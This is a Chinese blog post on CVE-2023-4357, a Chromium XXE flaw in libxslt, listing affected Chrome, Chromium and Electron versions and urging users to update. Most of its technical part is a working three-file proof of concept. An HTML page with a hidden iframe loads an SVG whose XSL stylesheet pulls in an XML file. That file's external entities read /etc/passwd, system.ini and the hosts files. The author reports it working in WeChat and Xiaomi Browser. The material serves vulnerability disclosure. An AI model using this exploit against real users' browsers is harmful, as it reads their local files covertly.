小百科,大世界
首页 / 计算机 / IT资讯

CVE20234357你的浏览器可能有隐患 繁體

前言

昨晚看国外大佬的文章,刷到了一个关于 Chrome 的 XXE 漏洞,来了兴趣并看了下,随后简单的在自己手机上复现了一下,竟发现自己的手机内置浏览器存在这个漏洞!然后就有了该文。

漏洞在线测试地址请点击下方‘阅读原文’,从个人博客中获取。

描述

时间回溯到今年的 2023 年 6 月,一位国外安全研究员 Igor Sak-SakovskiiChromium 项目报告了一个 XXE 漏洞,其漏洞的根源在于 Chromium 项目集成了 libxsltlibxslt 被用于 XSL 处理,但它允许在 XSL document() 方法加载的文档内包含外部实体。攻击者可以利用这一行为从 http(s)://URLs 访问 file://URLs进而绕过安全限制,获取文件访问权限。此外,当使用 -no-sandbox 属性时,攻击者能够在任意操作系统上读取任何文件。这一漏洞主要由于 Chromium 在实施安全策略和沙盒机制时未能充分考虑与 libxslt 的交互方式。

经复现测试,该漏洞的利用相对隐蔽,不需要复杂的交互或留下明显的痕迹。攻击者可以通过发送一个包含恶意 XSL 样式表和 SVG 图像的网站链接给受害者。一旦受害者点击这个链接,浏览器便会加载并解析这些恶意内容。攻击者能够利用这个漏洞来读取本地文件。这种攻击通常是不容易感知的,受害者可能完全不知道他们已经受到攻击。因此,检测这类攻击非常困难,这也使得这类漏洞更加危险。

值得注意的是:由于 Chromium 被广泛用于应用内自集成浏览器,这种漏洞的存在可能被用于更复杂的攻击链中,进一步威胁到用户的安全和隐私。

目前该漏洞等级已从中危提升至高危

复现

复现的话相对而言较为简单,首先我们先创建一个 HTML 文件,命名为 chrome-xxe.html,文件内容如下:

    <body><script>const r = document.createElement('div');r.style.width = '40rem';document.body.appendChild(r);const ifr = document.createElement('iframe');ifr.style.display = 'none';document.body.appendChild(ifr);ifr.onload = function() {const ifrDoc = ifr.contentWindow.document.documentElement;r.innerHTML = `remote web url:<input value="${location.href}" style="width:100%" /><br/><br/>`;ifrDoc.querySelectorAll('p').forEach(p => {r.innerHTML += `local file path:<input value="${p.getAttribute("path")}" style="width:100%" /><br/>local file content:<textarea style="width:100%;height:6rem">${p.innerHTML}</textarea><br/><br/>`;});}ifr.src = "./chrome-xxe.svg";</script></body>
             

    其中 ifr.src = "./chrome-xxe.svg"; 则是通过 iframe 标签再包含一个名为 chrome-xxe.svg 的 SVG 图像,其 SVG 图像中的内容如下:

      <?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="?#"?><xsl:stylesheet version="1.0" xmlns:xsl="/1999/XSL/Transform">  <xsl:template match="/">    <xsl:copy-of select="document('./chrome-xxe.xml')"/>  </xsl:template></xsl:stylesheet>
               

      SVG 图像中的 <xsl:copy-of select="document('./chrome-xxe.xml')"/> 代码再引用一个名为 chrome-xxe.xml 的可扩展标记语言 XML 文件,其 XML 文件内容如下:

        <?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xml" href="?#"?><!DOCTYPE div [  <!ENTITY passwd SYSTEM "file:///etc/passwd">  <!ENTITY sysini SYSTEM "file:///c:/windows/system.ini">  <!ENTITY hosts_linux SYSTEM "file:///etc/hosts">  <!ENTITY hosts_windows SYSTEM "file:///c:/windows/system32/drivers/etc/hosts">]><div>  <p path="file:///etc/passwd">&passwd;</p>  <p path="file:///c:/windows/system.ini">&sysini;</p>  <p path="file:///etc/hosts">&hosts_linux;</p>  <p path="file:///c:/windows/system32/drivers/etc/hosts">&hosts_windows;</p></div>
                 

        将上述三个文件保存至服务器端或本地同文件夹内,使用浏览器打开 chrome-xxe.html 页面,若存在漏洞,会在框内显示出该文件内容。如下是本人在 最新版微信(版本:8.0.43_2480 28002B33) 中打开测试的链接,成功读取到目标文件内容:

        进一步在我的手机上测试,发现手机自带的 小米浏览器 也中招了。所以,能升级浏览器或应用软件的尽量更新一下,防止该漏洞的利用。

        影响范围

        1. Chrome 版本 < 116.0.5845.96
        2. Chromium 版本 < 116.0.5845.96
        3. Electron 版本 < 26.1.0

        修复建议就是对于使用 Chromium 内核的浏览器和应用程序,请定期检查并关注来自官方渠道的安全更新和补丁。一旦发布了针对此漏洞的修复更新,应尽快进行升级。

        对于使用 Chrome 的用户,Google 官方已发布新版本 Chrome 修复漏洞,建议尽快在 Chrome 内点击“关于 Chrome ”升级到最新版本。

        参考

        • /xcanwin/CVE-2023-4357-Chrome-XXE
        • /2023/08/stable-channel-update-for-desktop_15.html
        • /p/chromium/issues/detail?id=1458911

        点击下方 阅读原文 即可直达博客。

        首页 / 计算机 / IT资讯
        相关连接:
        Prev:
        还是狠炸裂的Chromium libxslt XX
        知名反诈警察家属被诈骗6000元接案中心持证自嘲讽
        多家企业数据被挂网新型勒索Megazord肆虐
        Next:
        3韩国撤销戒严令加密货币市场回暖
        2能源行业承包商称勒索软件攻击限制了对 IT 系统的访问
        1日本加密服务因价值3.08亿美元的比特币被盗而关闭
        0AI全新赋能360开启终端All in One 5.0时代
        3保护您的网络 Zyxel 发布固件更新
        资源来自网络,仅供参考